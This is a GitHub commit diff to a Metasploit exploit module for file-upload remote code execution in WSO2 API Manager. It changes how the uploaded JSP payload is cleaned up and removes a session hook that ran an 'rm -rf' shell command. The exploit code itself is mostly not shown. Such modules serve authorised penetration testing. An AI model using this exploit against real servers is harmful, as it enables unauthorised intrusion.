Skip to content

Commit 41e7bf8

Browse files
committed
Enhance: Rollback to register_file_for_cleanup
- Verified that the CWD is the WSO2_SERVER_HOME, allowing the uploaded payload file to be registered for cleanup using register_file_for_cleanup. - Improved feedback by including the payload filename in the success message. - Removed redundant on_new_session cleanup logic, as file management is now handled by FileDropper.
1 parent f3f1c89 commit 41e7bf8

File tree

1 file changed

+4
-7
lines changed

1 file changed

+4
-7
lines changed

modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

9+
include Msf::Exploit::FileDropper
910
include Msf::Exploit::Remote::HttpClient
1011
prepend Msf::Exploit::Remote::AutoCheck
1112

@@ -357,7 +358,9 @@ def upload_payload(api_id, doc_id)
357358
)
358359
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201
359360

360-
print_good('Payload uploaded successfully')
361+
register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}")
362+
363+
print_good("Payload uploaded successfully. File: #{jsp_filename}")
361364

362365
return res
363366
end
@@ -393,12 +396,6 @@ def exploit
393396
end
394397
end
395398

396-
def on_new_session(session)
397-
super
398-
# Registering for cleanup doesn't work as the file is not placed in the CWD, and the WSO2_SERVER_HOME might vary
399-
session.shell_command_token("rm -rf $WSO2_SERVER_HOME/repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}")
400-
end
401-
402399
def cleanup
403400
return unless session_created?
404401

0 commit comments

Comments
 (0)